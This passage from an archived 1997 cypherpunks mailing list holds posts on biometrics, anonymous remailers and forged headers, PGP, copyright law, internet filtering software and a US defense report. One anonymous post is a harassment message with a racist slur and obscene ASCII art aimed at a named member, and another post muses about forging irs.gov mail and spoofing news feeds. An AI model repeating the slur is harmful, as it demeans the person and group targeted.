new SecurID, or change a user's password.) The real victim of a poorly-designed authentication system which uses biometrics will be the citizen/consumer who trusted his (irreplacable, being often single and unique) biometric scan to an entity which handled it with improper care and precautions. My sarcastic reaction to Jonathan's initial post was in reaction to his report that some commercial banking organization was planning to surreptitiously collect these iris scans and use them to replace user-memorized PINs for validating cash disbursements. (Jon tells me that he originally heard this version on AM radio is San Francisco: the Barbara Simpson show, KSFO 560AM, which he has found an often-reliable source.) I still consider this unlikely -- if for no other reason than the fact that banking regulators (i.e., insurers) would never allow it. There is, of course, a whole set of political and sociological issues which revolve around the rough equivalence of effective biometric system, and the database which will give it value, and the traditionally feared "national ID" paper-document system. Jonathan's initial post validly raised that fear. There is also an important public-policy discussion in the question of whether the commercial value of such a system (and its database) to consumers will again tempt the mass of (US) citizens into voluntarily giving up control over this authentication technology (for easy credit or faster and bigger ATM withdrawals) to business... for the government to later take advantage of as it will, when this aspect of our privacy is just another commodity. [Much of American privacy has already been traded off by our citizens in a similar fashion. Europe, where privacy was redefined when governments extended citizen property rights to include information about that citizen, presents a different model. With some problems, which Libertarians are prone to stress;-) and some valuable protections.] (Did anyone note the European Commission's denunciation of US crypto policy specifically noted that forcing European citizens to include a message-recovery mechanism for government eavesdropping in their legal e-mail or other electronic message systems would probably be a violation of privacy rights commonly held by all citizens of the European Union?) Biometrics (something you are) is one of the three classic mechanisms by which we convince a computer that we are indeed someone whose identity was previously registered with the computer: something one knows (password, PIN,) something one has (token, smartcard, ATM card,) or something one is (the biometric.) Biometric identifiers, because they are static -- and thus, inherently subject to replay attacks from _somewhere_ in their process or procedures -- will likely always require confirmation from other authenticators. Certainly they will require a secondary confirmation before they are used to validate an active transfer of value like an ATM's disbursement of cash. (The lawyers and auditors will demand it.) I actually expect that the current standard for "strong authentication" in business practice -- "two factors;" typically a password and a token/card (often enhanced with a one-time password generator, which provides proof that the token is in the users hand at the moment the authentication code is generated) -- will soon be expanded to three. It is far more likely that auditors in the future will define "strong authentication" systems as requiring (1) a user-memorized PIN, (2) a token, and (3) a biometric, than that they will do away with the requirement for either the PIN or the token. Tokens (by classical definition, personal and mobile, usually pocketable) are becoming personal repositories for encryption and digital signature keys, eventually secure crypto-engines, so these hand-held authenticators will likely become even more valuable. And a PIN or password will, at the very least, still be required to secure the smartcard's internal data so that the crown jewels are not readily available to every pickpocket. The interesting question is what sort of controls will be placed (probably by legislation) on second or third party access or traffic in consumers'/citizens' biometric data. It may be that all parties (citizens, government, business) will have a common interest in holding systems which capture or store these data-files to a very high infosec or crypto standard in order to keep biometric files from falling into the realm of meaningless index data (like Bob's example of the US social security number.) The use of biometrics as an authenticator will have commercial value -- to the citizen/consumer and to commercial entities -- only if the biometric scan-data is handled securely and respectfully. The use of biometrics as an administrative tool is probably inevitable -- something we already see with photographs and fingerprints (which are, of course, also biometrics.) And as machines are better adapted to scan for fingerprints, or faces and irises (remotely, as in an airline terminal, bank lobby, or street corner?) -- and then to search, match, identify and log the presence of these consumers/citizens at this or that place -- our culture will inevitably get more constipated and the freedom of our anonymity will be cramped (albiet, a protected place may be "safer," as some will argue.) Hey, no one said the future was going to be easier to live than the past;-) This record-keeping has been an obsession of modern governments since the French Revolution, and only if we keep explaining and making the impact of the technology a political issue -- as in the way computer-monitoring can cut the cost of a $70,000 typical wiretap to a few dollars, vastly increasing the capability of government to listen to more, quite cheaply -- can citizens grasp what is at stake and strive to defend themselves and the next generation. Random thoughts, shared for comment. Suerte, _Vin "Cryptography is like literacy in the Dark Ages. Infinitely potent, for good and ill... yet basically an intellectual construct, an idea, which by its nature will resist efforts to restrict it to bureaucrats and others who deem only themselves worthy of such Privilege." _ A thinking man's Creed for Crypto/ vbm. * Vin McLellan + The Privacy Guild + * 53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548 From honig at otc.net Tue Dec 2 11:40:01 1997 From: honig at otc.net (David Honig) Date: Wed, 3 Dec 1997 03:40:01 +0800 Subject: [RePol] Janet Reno kills babies In-Reply-To: Message-ID: <3.0.5.32.19971202111153.007cda70@otc.net> > I was responding to Bill and Lance's comments in regard to forgery >victims being set up as targets of retribution. I think references to >"deplorable content" indicate some measure of judgement in regard to >defining what is considered 'abuse' of a remailer. This excerpt made clear for me the distinction: 1. There is a temporary problem with forgery & retribution, but this goes away when the populace gets a clue about authentication. In this case, technology and a little cultural learning solve a social problem. In practice, this cultural awareness could be encouraged by spamming the masses with letters from various interesting forged parties, e.g., irs.gov. Or spoofing a public news streams and messing with the stock market. I wonder if the recent classified government report on infohacking the infrastructure included these pranks? But enough gedankenpranking. Getting a copy of PGP integrated into everyone's grandmother's GUI email clients, so that this is widely used and understood by the masses, is the positive way to do this. 2. There is an everpresent truly social problem with people who want to control the configuration of other people's bits. This problem is solvable by a set of strongly-enforced rules (e.g., "Freedom of speech" -more generally, freedom of information storage and manipulation in any form) which would have priority over the behavior of the mobs (e.g., in the voting booth). In the US we're supposed to have this but there is some question ---perhaps we need to hold lawmakers personally criminally liable when they pass unconstitutional laws--- however the architecture is sound if implemented correctly. So in the future we'll not trust anything without a public key, censors will be laughed at instead of getting congressional time, and anonymity will be commonplace and as understood as digital signatures. I guess this list is pretty much an ill-tempered view of the future.. David Honig honig at alum.mit.edu --------------------------------------------------- If we can prevent the government from wasting the labours of the people under the pretense of caring for them, they will be happy. -TJ From lharrison at dueprocess.com Tue Dec 2 11:46:55 1997 From: lharrison at dueprocess.com (Lynne L. Harrison) Date: Wed, 3 Dec 1997 03:46:55 +0800 Subject: PGP User's Guide 2.6.2 In-Reply-To: <199712020837.JAA05430@basement.replay.com> Message-ID: <3.0.5.32.19971202140449.007e4a20@pop.mhv.net> At 09:37 AM 12/2/97 +0100, Anonymous wrote: > >Where can I find a copy? See Harka's PGPSteps at: http://bureau42.base.org/public/pgpsteps.txt ************************************************************* Lynne L. Harrison, Esq. | A Word to the Wise: Poughkeepsie, New York | "When the gods mailto:lharrison at dueprocess.com | wish to punish us, http://www.dueprocess.com | they answer our prayers." ************************************************************* DISCLAIMER: I am not your attorney; you are not my client. Accordingly, the above is *NOT* legal advice. From declan at well.com Tue Dec 2 12:08:56 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 3 Dec 1997 04:08:56 +0800 Subject: USA Today editorial opposing criminal copyright bill Message-ID: An opposing view from Rep. Goodlatte also appears at the URL below. My article on this unprecedented criminal copyright bill is: http://cgi.pathfinder.com/netly/opinion/0,1042,1588,00.html -Declan ====== http://www.usatoday.com/news/comment/nceditf.htm USA Today Editorial 12/01/97- Updated 11:14 PM ET Law limits use of Net In 1994, Massachusetts Institute of Technology student David LaMacchia invited on-line users to download $1 million worth of copyrighted computer software that he'd put on the Internet. In spite of his antics, charges against LaMacchia were dismissed. Thanks to a legal loophole, hackers who break copyrights just for fun can't be criminally prosecuted. LaMacchia's case is just the most notorious example of how the growth of the Internet has strained the nation's copyright laws. Duplicating materials in cyberspace is as easy as clicking a mouse. The market for pirated goods is as infinite as the World Wide Web. And under copyright laws from the 1800s, infringement occurs only if a person makes money from the illegal act. Determined to deter the hackers, Congress passed a bill last month making it a felony to duplicate copyrighted materials on line, including computer software, recordings, books and articles. But the bill awaiting President Clinton's signature puts more than hackers at risk. It threatens the actions of scientists, academics and Web users, exposing them to criminal penalties of up to six years in jail. Researchers frequently use the Internet to distribute articles that they write but that other publications copyright. And the Internet now plays an important role in peer review. Scientists post their published research on a Web site in hope of encouraging the exchange of scientific information. Until now, copyright infringement wasn't a worry for these folks. Courts recognized the "fair use" of copyrighted works for noncommercial purposes, including teaching, research and criticism. To bar the use of all copyrighted material would be like telling film critics they couldn't quote dialogue in their movie reviews. Yet under its new law, Congress makes it a crime to duplicate copyrighted materials on line but neglects to include specific "fair use" legal protections allowing the duplication of copyrighted materials that doesn't hurt a work's commercial value. Lawmakers argue that protections aren't needed because the bill calls for the prosecution only of those who "willfully" violate copyrights. Their argument overlooks all the people who know they're using copyrighted material but do so without criminal intent: the researchers, students, writers and Web surfers who duplicate copyrighted materials as a way to communicate. Unless a clear exemption is written into law, all risk becoming targets for overly aggressive prosecutors. There are compelling reasons to revise copyright laws for our digital age. But without guaranteeing researchers the same protections on line as they have off, Congress risks limiting the Internet's legitimate uses. ### From declan at well.com Tue Dec 2 12:21:21 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 3 Dec 1997 04:21:21 +0800 Subject: GLAAD report on filtering software: "Access Denied" Message-ID: ======= Date: Tue, 2 Dec 1997 14:16:07 -0500 From: Cathy Renna To: "'Declan McCullagh'" Hi Declan-- I am greatly appreciating your comments and articles about the summit (Loren Javier and I are attending right now. Here is our release about the filtering software report. Cathy Renna Washington, DC Media Resource Center Gay & Lesbian Alliance Against Defamation (GLAAD) (202) 986-1360 fax: (202) 667-0902 renna at glaad.org VISIT THE GLAAD WEB SITE AT http://www.glaad.org! ALERT LINE 1-800-GAY-MEDIA "GLAAD" and "Gay & Lesbian Alliance Against Defamation" are registered trademarks of the Gay & Lesbian Alliance Against Defamation, Inc. MEDIA RELEASE FOR IMMEDIATE RELEASE Contact: Liz Tracey, GLAAD (212) 807-1700 pgr. (800) 946-4646 pin# 1423527 e-mail: tracey at glaad.org GLAAD RELEASES GROUNDBREAKING INTERNET FILTERING SOFTWARE REPORT NATION'S ONLY LESBIAN & GAY MEDIA ADVOCACY GROUP EXAMINES COMPLEX ISSUES IN "ACCESS DENIED" NEW YORK, TUESDAY, DECEMBER 2, 1997-The Gay & Lesbian Alliance Against Defamation (GLAAD) today announced from the historic Internet Summit the release of their comprehensive and groundbreaking report on Internet Filtering Software and ratings systems, "Access Denied: The Impact of Internet Filtering Software on the Lesbian and Gay Community." In the wake of the Communications Decency Act decision, Reno v. ACLU, and with the Internet Summit: Focus on Children being held through tomorrow in the nation's capital, GLAAD has completed an exhaustive survey of how Internet filtering software, and future proposed ratings systems affect the lesbian and gay community. The findings mark the first time a lesbian and gay media advocacy organization has produced research and analysis of such depth on the issue of Internet access. "The majority of software currently on the market, as well as new products in development, place informational Web sites serving the lesbian, gay, bisexual and transgender community in the same categories as sexually explicit sites," the executive summary reports. "The software developers are either unable or unwilling to consider that information about sexual orientation and identity (e.g., a gay square dancing site) has nothing to do with sexual behavior, and everything to do with culture and identity." "Access Denied" contains sections analyzing the legal, political and social implications of enforced invisibility on the Web. It also includes overviews written by members of groups such as Gay and Lesbian Parents Coalition International (GLPCI) and Peacefire (an entirely youth-run cyberliberties group), as well as testimonials from lesbian, gay, bisexual and transgender youth, who, as seen in the report, are those most directly affected by the lack of access to important information via the Web or Internet newsgroups. "I urge everyone who uses the Interent to read this report, and learn the troubling implications of the widespread use of filtering software," states Joan M. Garry, GLAAD Executive Director. "As a mother, I can assure you that while GLAAD has examined the disturbing aspects of filtering, we never lost sight of the youngest users of the Internet-our children. Whether it is through the testimonials of lesbian and gay youth, or an essay written by a gay father, the voices in this report must be heard now-perhaps soon, they will be much harder to find." The report also includes a thorough review of the currently available software, ratings systems and search engines, recommendations for industry leaders on how to make the Internet both friendly and fair, as well as a proposal for a future ratings system, FAIRsite, which would measure the accessibility and accuracy of various ratings systems and software. GLAAD is a national organization that promotes fair, accurate and inclusive representation of individuals and events in the media as a means of combating homophobia and all forms of discrimination based on sexual orientation or identity. -30- From comsec at nym.alias.net Tue Dec 2 12:28:38 1997 From: comsec at nym.alias.net (Charlie Comsec) Date: Wed, 3 Dec 1997 04:28:38 +0800 Subject: Pasting in From: Message-ID: <19971202202007.11359.qmail@nym.alias.net> -----BEGIN PGP SIGNED MESSAGE----- "Robert A. Costner" wrote: > >But you don't need a special anonymity server to do that; > >a keyserver plus either a personna certificate or some archiving mechanism is enough. > >The certificate shows that you're the first+only person at that > >certificate issuer to use the name you've chosen; the archive > >shows that the first poster using the name used PGP Key . > >I have a PGP key I use for signing pseudonyms which performs > >the personna certificate function - I'll verify uniqueness > >of keys that I've signed. > > I was thinking of remailers sending out anon messages with a distinct from > line that has zero connection (in the nym database) to any email address. > Is this possible? To establish a nym only through one way communication? I can think of a couple of ways this could be implemented. You could either allow the user to select an e-mail address to use, then do an nslookup to verify that the domain does not exist, or else choose a domain that's actually nothing but a bit bucket. The cleanest implementation might be to create a "bitbucket.efga.org", alias all incoming mail (except for perhaps "postmaster") to /dev/null, then assign non-replyable 'nyms off of that. That would eliminate the need for managing reply blocks and confirmation cookies. This is much more preferable to these people you see who post with a From: address of "nobody at nowhere.com", probably not realizing that nowhere.com is actually a real domain. But implementing such a server is still a lot more work than simply allowing From: headers to be pasted and allowing source blocking for anyone who is worried about being the victim of abuse of such a scheme. - --- Finger for PGP public key (Key ID=19BE8B0D) -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBNIRgZwbp0h8ZvosNAQGC7gf+PRUB+6Zuxns3E+BWZoM3kkzn4MD9vcip 1MvQRFRvTTdvGM4vFySYcZByv7SQJdIiVZItyzMe4qMz+Ft/xpbWUYmz3mOpws9H RW3sbsFywNzp4pCxolKhMJ8QTQI/tHb3CHT6thHkbgjpzr4bJlL6trLKn+btY2d/ MdNq61oPCTq4YYdj9kC8WebngjfJZOvcvQhX1OLtUaagrpL8DiGxivGSz/Rdl6ZC Yr8m8m0V/l6WA4HG3ZKTDoBz6OBxI7VROZRZdJkCRHKgScQP9/4+UYnSbew1rAhE apoUG3Ds7kiIUoZ9gLz01sYvRRaWelIjIZLp+RfnMPvtwXexP2uA8Q== =+uAL -----END PGP SIGNATURE----- From honig at otc.net Tue Dec 2 12:32:26 1997 From: honig at otc.net (David Honig) Date: Wed, 3 Dec 1997 04:32:26 +0800 Subject: anon remailer Message-ID: <3.0.5.32.19971202122124.007a4b60@otc.net> This guy has the IQ of a turnip... relevant to anon remailers & society thread... Tuesday December 2 12:07 PM EST Hate e-mail case to be retried SANTA ANA, Calif., Dec. 2 (UPI) _ Saying the case has national importance, federal prosecutors will retry a 20-year-old man accused of sending threatening electronic mail to Asian students at UC Irvine. Prosecutors announced their decision while opposing a bail request for Richard Machado of Los Angeles, the first person in the United States to be tried on charges of committing a hate crime over the Internet. His first trial on those charges ended with a deadlocked jury in November. Jurors voted 9 to 3 to acquit the former UC Irvine student. Assistant U.S. Attorney Michael Genaco told Judge Alicemarie H. Stotler that it is important that the case be resolved because other similar cases are certain to occur. Stotler denied bail for Machado, noting that he fled to Mexico when he was first charged. Machado's retrial is scheduled to begin Jan. 27. _- David Honig honig at alum.mit.edu --------------------------------------------------- If we can prevent the government from wasting the labours of the people under the pretense of caring for them, they will be happy. -TJ From declan at well.com Tue Dec 2 12:35:22 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 3 Dec 1997 04:35:22 +0800 Subject: A Netly Thanksgiving (guess I should have posted this earlier) Message-ID: =========== http://cgi.pathfinder.com/netly/opinion/0,1042,1602,00.html The Netly News (http://netlynews.com/) November 28, 1997 A Netly News Thanksgiving by Declan McCullagh (declan at well.com) Here at the Netly News, we have a feast of things for which we're thankful during this holiday season: Ricochet radio modems. MacOS 8. A Supreme Court that supports free speech online. DVD. Cable companies offering 400 Kbit/sec Net-connections. But we're also grateful to the personalities who made this year an unforgettable one: Heaven's Gate: A special Netly thanks to these suicide cultists for providing us with seemingly unlimited article fodder. From the blinking red alert headline of their celestial home page to the computer-generated painting of a resident of the kingdom of heaven, their web site was a treasure trove for journalists. Buried in the invisible space at the bottom of the home page were hundreds of hidden words: UFO, space alien, extraterrestrial, misinformation, second coming, end times, alien abductions, Yoda, Yoga. Wonderful stuff. Louis Freeh: The butt of a thousand jokes on the Net ("Freedom isn't Freeh"), the FBI director emerged this year as the arch-enemy of strong encryption. We had worried that Deputy Attorney General Jamie Gorelick's departure might mean fewer good stories from the Justice Department. But Freeh came to the rescue, saying publicly that Americans should not be allowed to buy encryption products without a backdoor for law enforcement. [...] From nobody at bureau42.ml.org Tue Dec 2 12:41:17 1997 From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer) Date: Wed, 3 Dec 1997 04:41:17 +0800 Subject: No Subject Message-ID: Timmy C[...] May is a slant-eyed, rice-gibbling jap in a redneck disguise. ---._.--- / | \ / * \ ( @@ ) / _/-||-\_ \ / '/ || \` \ / / () \ \ / /| |\ \ / / | | \ \ / / / o o \ \ \ / / ( ) \ \ <_ ' `--`___'`___'--' ` _> / '~~--- / = \ ---~~` \ ,,,/ / ( v ) \ \,,, \ / / @|-' '-|@ \ \ / \__/ ////// \__/ Dave Smith bends over for Gary Burnore, Paul Pomes, and the rest of the Databasix gang. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From declan at well.com Tue Dec 2 12:41:42 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 3 Dec 1997 04:41:42 +0800 Subject: Censorware Summit 2.0, from The Netly News Message-ID: [For details on some of the proposals presented, read the full article. --Declan] ============ http://cgi.pathfinder.com/netly/opinion/0,1042,1608,00.html The Netly News Network (http://netlynews.com/) December 2, 1997 Censorware Summit 2.0 by Declan McCullagh (declan at well.com) If there's one political controversy that promises never to die, it's sex and the Net. There seems to be something about the combination of children and cyberporn that makes otherwise levelheaded adults more than a little worried -- and even a little irrational. Enter the politicans, always happy to pacify parents with soothing rhetoric. Vice President Al Gore is scheduled to speak this morning at a two-day summit dedicated to protecting kids online. Of course, the Communications Decency Act's backers had claimed that that particularly nasty law (which the Supreme Court found to be unconstitutional) did just that. They were joined by the White House, which two years ago said "the President firmly supports the Communications Decency Act" to "regulate the exposure of children to computer pornography." This time, however, the White House would like to avoid the same embarrassing mistakes -- and, perhaps more importantly, would like to avoid pissing off high tech firms that could be hefty campaign contributors to Al Gore 2000. Instead of endorsing new federal legislation, the Clinton administration says it'll oppose it as long as industry regulates itself. And, of course, if firms play ball, their CEOs get to share the limelight with the veep [...] From nobody at REPLAY.COM Tue Dec 2 12:55:49 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 3 Dec 1997 04:55:49 +0800 Subject: Pasting in From: In-Reply-To: Message-ID: <199712022035.VAA25203@basement.replay.com> gburnore+NOspam at netcom.com (Gary L. Burnore) > :If Gary Burnore is so concerned about "forgery", maybe he ought to > :start using that PGP key he keeps advertising in his .sig to > :actually sign his posts. Unless he does, he's still vulnerable to > :forgery from his fellow Netcom users who are still allowed to insert > :arbitrary From: lines in their Usenet posts. Actually, forging a > :post with Gary Burnore's name and address in the From: line can be > :much more convincingly (no disclaimers) done from a throwaway > :Netcruiser account, and with less effort than learning the proper > :protocol to do it through a remailer. > > > Please specify how PGP signing the inside of a post will stop UCE-Baiting. PGP signing a post is a lot like the new anti-counterfeiting measures in US currency, only a lot more effective. But if some bozo decides to start printing up three dollar bills with a portrait of Mickey Mouse, and others are foolish enough to accept them, what are you going to do? It's hard to protect people from their own stupidity. I'd contend that a $3 bill isn't even a counterfeit or forgery, since there is not genuine equivalent which it seeks to fraudulently duplicate. Maybe it's time that the brain-dead software that mindlessly harvests e-mail addresses from the net was shut down. That sounds like the real problem. > :Munging of addresses is better left to the discretion of the poster. > :Let those who perceive a need for this "capability" use it. At > :least one of the mail2news gateways implements that as an option for > :those desiring it. I'm in favor of leaving that choice with the > :poster. > > Please specify how PGP signing the inside of a post will stop UCE-Baiting. I'm not sure what comment you intended to make about that paragraph, since it appears that you inadvertantly pasted in your comment from the last paragraph again. The text you're supposedly commenting on nowhere mentions PGP. > :Mr. Burnore made a similar "forgery" complaint here several months > :ago and was advised to PGP sign his posts and request source-level > :blocking if he perceived forgery to be a problem. He has evidently > :not taken the trouble to implement the first suggestion and, > :assuming he took the second suggestion, he's posted no evidence to > :suggest that it's not been effective. > > The second has been effective. I've not denied that. Since you've already found a solution to the problem that works, there seems to be no need to do anything more drastic to solve it. > I can see however, that > allowing anon posts with someone elses' address in the from line is a great > tool for UCE-Baiting. I fail to see any other reason for it in an anonymous > post. What other reason would there be for putting a REAL email address in > the from line of an ANONYMOUS post? For one thing, to identify posts as originating from one's pseudonym, which *MIGHT* be a "real" e-mail address. Most times I've seen it used, though, it has been used to place identifying information in the From: field which many newsreaders use to identify posts so that they are recognizeable by the reader. > Again, it's nothing to do with the CONTENT. It has more to do with the ability > to post to an mlm group with someone elses' email address. Oh, and btw, if a > NETCOM customer is caught doing this, his/her account is terminated. The key word there is "caught", and then you'd have to convince Netcom to actually do something about it. It is my understanding that spammers routinely utilize Netcom's OPEN SMTP SERVERS to send out their spam, using whatever From: field they wish, and Netcom doesn't seem to care. Anyone using those same servers to send mail to a mail2news gateway could forge someone's name and e-mail address to a Usenet post, couldn't they? Also, even if a complaint to Netcom got an individual account shut down, that wouldn't stop some other Netcom user from doing the same thing, nor would it stop the first Netcom user from opening another account under a phony name and repeating the process, or even doing it from a non-Netcom account. So if my e-mail address were being forged via Netcom, would they be able to source-block it as the remailers currently can do? If not, doesn't your own ISP have a bigger abuse potential than the remailer net? > AGAIN IT'S NOT FORGERY THAT'S A PROBLEM. IT'S UCE BAITING. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ There's no need to shout. Perhaps you've forgotten two earlier posts you made to this NG in the past couple of weeks in which you said: -> Subject: Re: Controlling the From: line in PIdaho -> -> Hopefully replay has corrected this as others have suggested so that the above -> CAN'T be done. It's a simple way to forge someone else's name. Early last ^^^^^ -> year comes to mind. -> -> [...] -> -> Posting anonymously is a valid thing to do, posting with someone else's name -> in the From line is simply forgery. Try sending your message from a hotmail ^^^^^^^ -> address or other site where you can just make up a name if you want this sort -> of thing. And in another post: -> Subject: Re: 'from' other than anonymous -> -> [...] -> -> Again, a forged from line (Forged as in someone's _REAL_ email address shows ^^^^^^ ^^^^^^ -> up) is a BAD THING. You claimed to be concerned about FORGERY back then, now you're saying "IT'S NOT FORGERY THAT'S A PROBLEM". Which is the case? > AGAIN. Please specify how PGP signing a post will stop UCE Baiting based soley > on the from line. But you were given two solutions, so if one of them works, then you don't need the other one. -- From vznuri at netcom.com Tue Dec 2 14:13:29 1997 From: vznuri at netcom.com (Vladimir Z. Nuri) Date: Wed, 3 Dec 1997 06:13:29 +0800 Subject: Censorware Summit 2.0, from The Netly News In-Reply-To: Message-ID: <199712022156.NAA24800@netcom13.netcom.com> there's a simple solution to anyone who doesn't like the so-called "mandatory voluntary" rating systems. START YOUR OWN!! anyone is free to create software that filters whatever sites they deem appropriate, to use whatever algorithms they think are legitimate. for example, the the GLAAD agency might come out with a list of sites they think are appropriate for children to view that are excluded by other rating systems. I wouldn't be surprised if some of the rating companies agree to integrate such a list into their software and give the end user the choice of whether to turn it on. what? it takes a lot of time to rate sites? you don't want to do it? yet you want to complain about someone else who has taken the time to do this for customers who have chosen to pay for it? there is a legitimate market for filtering software, and it is growing. who is to say what software can be run on someone else's computer? who is to tell parents they shouldn't use a filtering package for their own children? filtering software can be as simple or complex as we wish. ultimately end users are voting with their money. the froth over the rating systems seems to me mostly overblown. I do agree however that they should not be made mandatory based on the law. the free market is solving the problem. we have ratings agencies and people (such as GLAAD) who rate the rating agencies. I don't see anything worth hyperventilating about. From rubin at eecs.umich.edu Tue Dec 2 14:22:20 1997 From: rubin at eecs.umich.edu (Aviel Rubin) Date: Wed, 3 Dec 1997 06:22:20 +0800 Subject: Announcing availability of Crowds 1.1.1 for Win95, WinNT, Unix Message-ID: <199712022158.QAA07335@quip.eecs.umich.edu> Crowds: A system for anonymous web transactions Top 10 reasons why you might be interested in Crowds 10. The price - crowds is free 9. Easy to install - download the code, untar, and run. Then, simply point your browser proxy settings to it and you can browse anonymously 8. Public service - by running the crowds code, you provide others with anonymity, even if you don't use it all the time. 7. Big brother is on the net - this helps you hide 6. It's nobody's business what you are browsing 5. For this to work, there needs to be a large user community 4. Portable - now works on Windows95, WindowsNT, and all versions of Unix we tried 3. Win Crowds T-shirts and coffee mugs - details to come 2. Take a stand for privacy 1. Don't be the last person on the Internet to obtain privacy More information, including full source code is avilable at http://www.research.att.com/projects/crowds. - Mike Reiter - Avi Rubin ********************************************************************* Aviel D. Rubin rubin at research.att.com Secure Systems Research Dept. Adjunct Professor at NYU AT&T Labs - Research 180 Park Avenue http://www.research.att.com/~rubin/ Florham Park, NJ 07932-0971 Voice: +1 973 360-8356 USA FAX: +1 973 360-8809 --> Check out http://www.clark.net/pub/mjr/websec/ for a new book on web security (The Web Security Sourcebook). ********************************************************************* From tm at dev.null Tue Dec 2 14:58:32 1997 From: tm at dev.null (TruthMonger) Date: Wed, 3 Dec 1997 06:58:32 +0800 Subject: 'Off' the parking pigs! In-Reply-To: <3.0.5.32.19971202122124.007a4b60@otc.net> Message-ID: <34848C59.5E07@dev.null> David Honig wrote: > relevant to anon remailers & society thread... > SANTA ANA, Calif., Dec. 2 (UPI) _ Saying the case has national importance, > federal prosecutors will > retry a 20-year-old man accused of sending threatening electronic mail to > Asian students at UC Irvine. > Stotler denied bail for Machado, noting that he fled to Mexico when he was > first charged. Are we supposed to feel 'safer' in public, knowing that we may be surrounded by people to whom it may be worthwhile to kill a few cops and innocent bystanders in order to avoid punishment for sending nasty email, or having an unpaid parking ticket? When standing near someone who begins to jaywalk, should we hit the deck, in case this is their third offense and will kill to avoid life in prison? If the guy in the next parking spot doesn't plug the meter, are we in danger of taking a stray bullet from a Swat team? Perhaps I am being a bit facetious, or perhaps I am a prophet, able to see six months into the future... God help you if your 'crime' will provide some self-important member of the legal system with national press. Double-'God help you', if you win your case. TruthMonger "Advocating the death penalty for syntax errors, since 1984." From jim.burnes at ssds.com Tue Dec 2 15:17:14 1997 From: jim.burnes at ssds.com (Jim Burnes) Date: Wed, 3 Dec 1997 07:17:14 +0800 Subject: Censorware Summit 2.0, from The Netly News In-Reply-To: <199712022156.NAA24800@netcom13.netcom.com> Message-ID: On Tue, 2 Dec 1997, Vladimir Z. Nuri wrote: > there's a simple solution to anyone who doesn't > like the so-called "mandatory voluntary" rating systems. > > START YOUR OWN!! I've mentioned this half in jest before, but why don't all the moralistic fanatics petition their church to come up with filtering software. That way you could be sure what kind of stuff your church were filtering out. In doing so you would be providing a powerful check on the values of your religious institution. Since hard-core profit motives would be eliminated you could check if your church actively filters specific sites. This is something the net-nanny software doesn't allow you to do because their filter lists are proprietary. I know the RC church has plenty of additional clergy to devote to such a noble task ;-) The types of filtered information are up to your church: Anyone care to submit major censoring categories for each church? ;-) Maybe the best way for cypherpunks to attack this is to come up with free generic filtering software that any well recognized group can develop filtering lists for. Wait -- a name is coming to me -- GNUSitter? Please append your filtering categories here: Roman Catholic: Jewish: Lutheran: Pentacostal: Baptist: Southern Baptist: Scientologist: Davidian: Statist: Morman: Subgenius: All hail Eris! jim From comsec at nym.alias.net Tue Dec 2 15:21:23 1997 From: comsec at nym.alias.net (Charlie Comsec) Date: Wed, 3 Dec 1997 07:21:23 +0800 Subject: Pasting in From: Message-ID: <19971202230005.20270.qmail@nym.alias.net> -----BEGIN PGP SIGNED MESSAGE----- stewarts at ix.netcom.com (Bill Stewart) wrote: > At 12:14 AM 12/01/1997 -0500, Robert A. Costner wrote: > >Best I can tell, the only reasonable good purpose for this is to create a > >persistent nym identity without a reply to capability. > > Actually, setting the reply to point to your nymserver address > is the one legitimate use I can see for it, though that > capability probably should be provided by the nymserver. > The reason for chaining through remailers is to gain anonymity. I can think of a couple of scenarios in which pasting in a From: header pointing to a 'nym might be advantageous: 1.) Posts when the nymserver is down, or; 2.) Posts from an insecure location where installation of one's secret keyring is not desirable. (The "newnym" servers require that send requests be PGP-signed with the nym's secret key.) - --- Finger for PGP public key (Key ID=19BE8B0D) -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBNIRnYwbp0h8ZvosNAQE6Xwf/SJQbKnIhFSP2nXd7dBQauf5ygoIrGqOt 6vFW644xxELC37iwW5tWI7Cr0N1Ipk9Py1UDzHSNYEeUGqUxgWGQ8BZhoNRg9i2t pqTr/YIRTjVxPETidpnKhyUgL6lz3bESpdiQLAKm1VwdWV3OhtNTlzL/Wu1hO33W +IxisotkksQ+OsCrfdkBRu6FarS90LGWa7Zqo3xNHZs599P/tVMrc2BYq7znXcZX gG4YwUhL2qWZJDhiWpTVWb/OH0Cq1UCnc/7AgMBjbQFt0ZCHghJXxc4DfmUG9L6J MHmpv82j7th8roMjM3FRGUzaqJxVBSoBKZPyBuRaLMgiaaupWku5EQ== =ZqJJ -----END PGP SIGNATURE----- From jya at pipeline.com Tue Dec 2 15:36:22 1997 From: jya at pipeline.com (John Young) Date: Wed, 3 Dec 1997 07:36:22 +0800 Subject: Transforming Defense Message-ID: <1.5.4.32.19971202231442.006cf65c@pop.pipeline.com> The National Defense Panel presented yesterday to the Secretary of Defense its 95-page report on the future of US defense: "Transforming Defense: National Security in the 21st Century." It's available in PDF format at: http://www.dtic.mil/ndp/FullDoc.pdf (386K) The report proposes an impressive 30-year overhaul for the military, with a recommendation that the two-major-wars strategy be replaced with that of preparing for one major war and a host of more limited defenses overseas and at home to combat enemies who will not challenge superior conventional armaments but will utilize "asymmetrical" NBC weapons, terrorism, information warfare. We've converted the Executive Summary to HTML: http://jya.com/ndp-pr.htm And a section on "Homeland Defense" which proposes a role for military forces to "protect against all enemies foreign and domestic" by providing intelligence, training, equipment and other aid to justice and law enforcement. http://jya.com/home-def.htm As noted in the NYT today, the report asks for a shakeup in intelligence, with renewed emphasis on training human spies to compensate for what technology cannot do. Along that line, the NYT also reports today on a huge Libyan deeply-buried pipeline system under construction which is suspected of being a distribution system for troops and equipment as well as CB weapons, placed underground to escape satellite spies. The report is based on descriptions of engineers and corporations working on the project. One feature of the NDP report, as well as other closed defense panel meetings, is the need for weapons to attack underground structures -- like those vast catcombs in Lybia and North Korea, and the US for that matter -- Cheyenne Mountain is still being re-hardened regularly, and its electronics re-Tempested, not that the local skinheads will not find a way to hack the bunker as trusted EEs and sys admins. From dformosa at 